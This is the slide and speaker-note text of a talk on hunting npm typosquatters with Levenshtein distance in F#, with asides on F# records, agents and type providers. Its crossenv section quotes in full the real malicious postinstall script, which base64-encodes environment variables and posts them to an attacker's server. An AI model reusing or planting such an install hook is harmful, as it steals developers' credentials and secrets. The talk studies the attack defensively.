Hunting typosquatters with F#

me

currently ~~(f)~~unemployed

formerly Software Engineer at Scott Logic

'Back end' C#, learning to .js

F# novice ~150 hours, 1.5% expert

Hunting typosquatters
with F#

chestercodes.github.io/RepoHunt/

Agenda


var talk = {
	
	"sections": [
		
		"npm",

		"crossenv attack",

		"hunt",

		"F#",

		"results"

	]

}

npm

node package manager

JavaScript open source code repository

over 580,000 packages

npm

580k packages?!

Maven	Java	~223k
nuget	dotnet	~106k

JavaScript base library fairly spartan

community prefers lots of small modules

Drinking game for npm users:
➀ Think of a noun
➁ npm install <noun>
➂ If it installs - drink!
— Sindre Sorhus (@sindresorhus) September 26, 2014

npm - package.json

 {
  "name": "my-great-package",
  "version": "1.0.0",
  "description": "makes code great again",
  "license": "MIT",
  "author": "chester",
  "dependencies": {
    "dependency1": "1.2.3",
    "dependency2": "2.3.4"
  },
  "scripts": {
    "install": "make && make install",
    "postinstall": "post-install.js"
  }
}

install events:
preinstall, install, postinstall,
prepack, prepublish, prepare

data

npmjs.com data stored in CouchDB database

key-value store, value is JSON object:

{
  "name": "d3fc",
  "maintainers": [ 
    { "name": "chrisprice" }, 
    { "name": "colineberhardt" }
  ],
  "versions": {
    "13.1.1": { "contents of the": "package.json ..." }
  }
}

can use CouchDB View to get package names, authors

crossenv attack

@kentcdodds Hi Kent, it looks like this npm package is stealing env variables on install, using your cross-env package as bait: pic.twitter.com/REsRG8Exsx
— Oscar Bolmsten (@o_cee) August 1, 2017

crossenv - package.json

{
  "name": "crossenv",
  "version": "6.1.1",
  "description": "Run scripts that set and use environment variables across platforms",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" ",
    "postinstall": "node package-setup.js"
  },
  "author": "Kent C. Dodds",
  "license": "ISC",
  "dependencies": {
    "cross-env": "^5.0.1"
  }
}

crossenv - package-setup.js

const http = require('http');
const querystring = require('querystring');
const env = JSON.stringify(process.env);
const data = new Buffer(env).toString('base64');
const postData = querystring.stringify({ data });
const options = {
	hostname: 'npm.hacktask.net',
	port: 80,
	path: '/log/',
	method: 'POST',
	headers: {
		'Content-Type': 'application/x-www-form-urlencoded',
		'Content-Length': Buffer.byteLength(postData)
	}
};
const req = http.request(options);
req.write(postData);
req.end();

hacktask - other packages

babelcli	cross-env.js	crossenv	d3.js	fabric-js
ffmepg	gruntcli	http-proxy.js	jquery.js	mariadb
mongose	mssql-node	mssql.js	mysqljs	node-fabric
node-opencv	node-opensl	node-openssl	node-sqlite	node-tkinter
nodecaffe	nodefabric	nodeffmpeg	nodemailer-js	nodemailer.js
nodemssql	noderequest	nodesass	nodesqlite	opencv.js
openssl.js	proxy.js	shadowsock	smb	sqlite.js
sqliter	sqlserver	tkinter

crossenv - mitigate?

would be super useful if @npmjs would deny publishing a package if another one with a #levenshtein distance <3 is already published !!!
— Andrei Neculau (@andreineculau) August 1, 2017

proposes Levenshtein distance validation, reject new package names of distance < 3 to existing

Levenshtein distance

measure of the similarity between two strings, it is the number of deletions, insertions, or substitutions required to transform one string into another

test -> tent = 1 substitution

test -> tests = 1 insertion

test -> rent = 2 substitutions

test -> tested = 2 insertions

hacktask packages

crossenv -> cross-env - dist = 1

babelcli -> babel-cli - dist = 1

ffmepg -> ffmpeg - dist = 2

mysqljs -> mysql - dist = 2

d3.js -> d3 - dist = 3

other attacks?

search npm for existing typosquatters

low distance pairs of names
e.g. crossenv and cross-env
typosquatting?

find low distances, aggregate by author

hunt

over 580,000 packages ~ 1.7 E11 combinations

need to run pairs in parallel, save distance < 4 to csv

Levenshtein distance algorithm

googling provides a few implementations
fastest builds Trie from package names and uses max distance to limit computations

Trie this

For search set of words:
Cat, Cats, Cater, Count, Hat

F#

#fsharp is the greatest language in the world, there I said it fight me
— Spencer Schneidenbach 🇺🇸 (@schneidenbach) January 19, 2018

#FSharp "the conciseness of Python, strictness of Scala & ecosystem of .Net." Is that a good summary?
— Luke Merrett (@LukeAMerrett) April 6, 2017

FizzBuzz

// C#
string FizzBuzz(int n)
{
  if(n % 15 == 0){
    return "FizzBuzz";
  } else if (n % 3 == 0) {
    return "Fizz";
  } else if (n % 5 == 0) {
    return "Buzz";
  } else {
    return n.ToString();
  }
}

F#izzBuzz

// F#
let fizzbuzz n =
  match n with
  | x when x % 15 = 0 -> "FizzBuzz"
  | x when x % 3  = 0 -> "Fizz"
  | x when x % 5  = 0 -> "Buzz"
  | x                 -> x.ToString()

// F#
let (|DividesBy|_|) modN n = if n % modN = 0 then Some n else None 

let fizzbuzz2 n = 
  match n with
  | DividesBy 15 _ -> "FizzBuzz"
  | DividesBy 3  _ -> "Fizz"
  | DividesBy 5  _ -> "Buzz"
  | x              -> x.ToString()

To get an idea of how great F# is i'd like to show some comparisons between F# and C# code. Going to start with the interview favourite FizzBuzz The top part is a basic implementation of fizzbuzz in C#, we can see that we have a function FizzBuzz, which takes in an int and returns a string. The function returns Fizz if the input divides by three, Buzz if the function divides by 5, FizzBuzz if the function divides by both or returns the number as a string if it doesn't divide by 3 or 5. Below is the F# basic implementation which i will walk through in case this is anyones first sight of F# code. The "let fizzbuzz n =" denotes to define a function called fizzbuzz which takes in a parameter n. Now you'll notice that we've not spcecified the types of the input parameters and function output. F# uses powerful type inference to decide what types these are by looking at the output expression and how the input parameters are used. It's not perfect, sometimes it needs to be given a hint, but it's very very good. Then everything which is one indentation away from the level of the function declaration is included in the function body. There is also no return keyword used, the return value is the value of the last expression in the function. In our case the function only has one expression which is a pattern matching on the input n. This pattern matching says to take n and match it against the patterns one by one and returns the expression after the pattern. In this case it will take the number n and if the modulous of that number with 15 is 0 then it will return the string FizzBuzz. The same happens for the other cases until the catch all which returns the value of the number .ToString() We can refactor this and extract a partial active pattern called DividesBy. What i'd like to emphasise here is how terse and expressive this becomes. You're left with code that reads like english which i'm a big fan of. This seems to be a nice consequence of the syntax of F# in that the code can be very terse and intuitive, maybe enough for other department employees to be able to read the code and get a rough idea of the logic.

Scenario - Simple Immutable Data

Want to model a Person with a Name, Age and Address

Easily check whether two such objects are the same data

Want to copy the object and modify an address line

public class Person : IEquatable<Person>
{
  public int Age { get; private set; }
  public string Name { get; private set; }
  public Address Address { get; private set; }
  
  public Person(string name, int age, Address address)
  {
    Name = name;
    Age = age;
    Address = address;
  }
  
  public bool Equals(Person other)
  {
    return other.Age == Age
      && other.Name == Name
      && other.Address.Equals(Address);
  }
}

public class Address : IEquatable<Address>
{
  public string Line1 { get; private set; }
  public string Line2 { get; private set; }
  public string PostCode { get; private set; }
	
  public Address(string line1, string line2, string postCode)
  {
      Line1 = line1;
      Line2 = line2;
      PostCode = postCode;
  }
	
  public bool Equals(Address other)
  {
      return other.Line1 == Line1
        && other.Line2 == Line2 
        && other.PostCode == PostCode;        
  }
}

var john = new Person(
  "John", 30, 
  new Address("1 lane", "1 street", "BS11BS"));

var sameJohn = new Person(
  "John", 30, 
  new Address("1 lane", "1 street", "BS11BS"));

Console.WriteLine($"Johns are equal - " + (john.Equals(sameJohn)));
// Johns are equal - True

var copyJohn = new Person(
  john.Name, john.Age, 
  new Address(
    "2 lane", // moved next door
    john.Address.Line2, 
    john.Address.PostCode)
  );


type Address = { Line1: string; Line2: string; PostCode: string }

type Person =  { Name: string
                 Age: int
                 Address: Address }

let john =     { Name = "John"; Age = 30
                 Address = { Line1 = "1 lane"; Line2 = "1 street"
                             PostCode = "BS11BS"} }

let sameJohn = { Name = "John"; Age = 30
                 Address = { Line1 = "1 lane"; Line2 = "1 street"
                             PostCode = "BS11BS"} }

printfn "Johns are equal - %b" (john = sameJohn)

let copyJohn = { john with Address = 
                    { john.Address with Line1 = "2 lane"} }

With F# the whole of the code fits onto this slide, the first four lines of text take the place of the first two slides of C#. The first line defines a record type to represent the Address. A record type is like an immutable named tuple which uses structural equality. In this case the values in the record type are between the curly braces, they are the addresses Line1, Line2 and PostCode all of type string. The Person is also a record type which contains a Name of type string, an Age of type int and an Address of type address. We can see the way that records are created here. The red highlighted braces are Person records being created. To create a record type one uses curly braces and assigns the values to the named properties. The compiler knows which type is being created by the named properties being used. In this case the names for the Person are Name, Age and Address. The Address is also a record type of the names Line1, Line2 and PostCode. Checking for equality is as easy as checking for any other equality and copying an object and modifying a value has a really nice syntax. The highlighted braces show the john being copied with the Address property being modified to the previous value but with the Line1 changed.

Reasons to try

Concise:
- type inference
- less boilerplate
Clear, intuitive
Correctness:
- Immutable by default
- NullReferenceException

Other reasons

Domain modelling:
- Sum types
- Units of measure
Productivity:
- Interop
- REPL
- Scripting
Type providers
Parallel...

F# hunt - parallel

can use standard .NET classes/libraries

F# specific:

asynchronous workflows
messages and agents

can use agents(actors) to manage concurrency

messages and agents(actors)

create actors, communicate via messages

actor processes typed messages sequentially from inbox queue

control of parallelism through actor creation

actor paralellism

results analysis

imported csv file into sqlite database

can use type providers to analyse the results

type providers

idiomatic data access - F# 'killer feature'

An F# type provider is a component that provides types, properties, and methods for use in your program

compile time meta-programming

demo: type providers
a new hope


public string ParsePostCodeRegion(string input)
{
    const string Region = "Region";

    var pattern = "(?<" + Region + ">^[A-Z]{1,2})" + 
                  "\\d{1,2}\\s*\\d{1,2}[A-Z]{1,2}$";

    var match = new Regex(pattern).Match(input);

    if (match.Success)
    {
        return match.Groups[Region].Value;
    }

    return null;
}

Demo: In this demo we want to show what the parsing of the postcode regex can look like if we use an F# type provider. We have a normal console application in F# with a few things setup: There is the pattern for the regex which is the same as the last slide but has an attribute to say that it is a compile time literal value There is a function called parseRegion which is going to take in a string input and provide either a Some of the region value or a None to determine that the string didn't parse. There is the input which is a valid postcode witha region of AB and a line to print this info to the console There is a call to the parseRegion function which we pattern match on to give us information of whether the parsing was successful which is then printed to the console. Some will print out success and None will print failed to parse We can run the program by building it and running it in the package manager console which is a powershell prompt. We are currently in the bin debug directory and running Regex.exe produces the failed output. I've previously added the type provider which is a nuget package and we can see this by running get-package in the console. As with C# to use the type provider in code we need to write open and the type provider package name, this is the same as using in C# We can then create a type with the provider, to do this we need to call the Regex type provider with the pattern in a way which looks like C# generics. This creates the type PostcodeRegex, this is similar in API and concept to the Regex class in C# but with a crucial difference. If we instantiate the type and then use the TypedMatch method on the input to get a result we can inspect this result We can see that the result has a Region property which corresponds to the named group in the regex pattern. This property is generated by the type provider and has properties relating to whether the regex matched and the value of the named group. We can then pattern match on the property for cases where the result. Region has a true value for Success and return the Value if so with the catch all case returning None if it can't match the regex. This shows how type providers give us a new level of correctness checking via the compiler. If we change the name of the group in the regex then we can see the the code will fail to compile and even suggest which property that we might mean to use. This was a simple example which could be seen to be a bit trivial, fear not! I will show a more complex example next.

demo: type providers - the IO strikes back

Body,Name of Body,Date,Transaction Number,Invoice Number,Amount,
Supplier Name,Supplier ID,VAT Reg no,Expense Area,Expense Type,
Expense Code,Creditor Type

Demo: In this demo we want to use the devon county council spending data to find out something interesting. Since we have the fields Suppier Name and amount we can try to find the top 10 suppliers that the council spent money on. This is a standard dotnet core F# console project. I also have a powershell terminal open at the directory and can build and run like so. The data is in .csv format, we are going to use the FSharp.Data nuget package and the CsvProvider to read the csv. The data can be found at a specific github url determined by the user, repository and revision. I'm going to copy a bit of code to start, this includes the url of the csv and a simple record type SupplierAmount to store the subset of the data that we are interested in. We can create a grants type using the CsvProvider by passing in the url of the file and can then instantiate this type to a value. This grants value has a Rows property which is an enumeration, if we take the first of the enumeration we can inspect what the type provider has generated looking at the first of the rows we can see that we have typed properties for all of the columns in the .csv. In the background this type provider has downloaded part of the file from the url, parsed some of the first rows and created typed properties based on the data in the first rows. With easy access to this data we can simply project the properties to our record class, groupby the supplier name, sumBy the amount and sort by descending on the amount sum and take the first 10. If we try to run the code we get an error, this error is a mistake in the sniffing of the column type. It believes that an expense code column is a integer and is failing to convert the Date column. Fixing this is simple and shows another cool feature of the type provider, we can specify a schema to tell the provider the actual types of these columns. We don't even need to specify all of the colunm types, just the ones that the code gets wrong. With that correction the code prints out the correct values to the screen. This hopefully shows the power of F# type providers, we have compiler verified, typed access to a remote csv file with a simple calculation in 25 lines of code.

results

aggregate packages with low distance to others by author, join with popular packages to reduce noise
identify hacktask and other typosquatting users
determine whether name validation would be effective

user - hacktask

ranked 476'th by package count, with 4 packages similar to others

hard to spot, masked by many other users

lots of low Levenshtein package combinations providing noise

other interesting things:

user - destroyyer

packages - scaala, jaava, akka, ifelse, aple

clearly typosquatting, no obvious malicious packages

user - fdhadzh

user with lots of packages with typosquatting names:

adobephotoshop, adobe-photoshop, afer, anoher, Apple, bayer, 
beween, comit, dylan, Elliot, emacs, foxconn, Fsociety, gmail-api,
gmail-google, gnu, google-docs, IPhoneSE, materialdesign, Microsoft, 
MrRobot, netfliks, panasonic, sandisk, scala, symantec, toshiba, 
TwitterBootstrap, vbasic, verisign, visualbasic, youcanttouchme

and others including 'I'

package - I

maintainers: 'fdhadzh' and 'brittanica'

Just import it and all your problems will go away!

lev distance name validation?

% of packages with a name of distance away

distance	%
< 2	26%
< 3	46%
< 4	64%

new packages names would likely clash without behaviour change

conclusion

hard to catch typosquatters with
Levenshtein distance approach

typosquatting like behaviour is common in npm

similar	preact	react
extend	d3fc	d3
bridge	bocha	mocha
disagreements	class-names	classnames

hunt blog post
hunt github repo
npm crossenv attack
fsharp for fun and profit:
- asynchronous programming
- messages and agents
type providers:
- RegexProvider
- FSharp.Data

thanks for listening :-)

any questions?

appendix - package - accesstoken

my new favourite package


let printerActor = MailboxProcessor<string>.Start(fun inbox -> 
    // the message processing function
    let rec messageLoop() = async {
		
        // read a message
        let! msg = inbox.Receive()
		
        // process a message
        printfn "message is: %s" msg
		
        // recurse to top
        return! messageLoop ()
    }
	
    // start the loop 
    messageLoop()
)

printerAgent.Post "hello world!"
printerAgent.Post "hello world! again..."

appendix - node_modules article

Aug 5, 2016

Express.js

contains dependency 'yummy' which make http call on install

Wham! Bam! Hickory Ham! #HotPockets http://t.co/t7YBz532MO pic.twitter.com/SUkwWANhQl
— Hot Pockets (@hotpockets) August 18, 2014

Ember.js

Ember.js
- Glimmer
- - brittanica
- - - brittanica-g

whole dictionary for one definition

{
  "g": {
    "page": 1018,
    "description": "The seventh letter of the US English..."
  },
  ...
  "glimmer": {
    "page": 1172,
    "description": "A faint or wavering light, used pri..."
  },
  ...
}

babel

claims that picture of tv chef guy fieri in babel-core dependency

var brit = require("brittanica-g");
var desc = brit.glimmer.description;
console.log(desc);

run with node

fin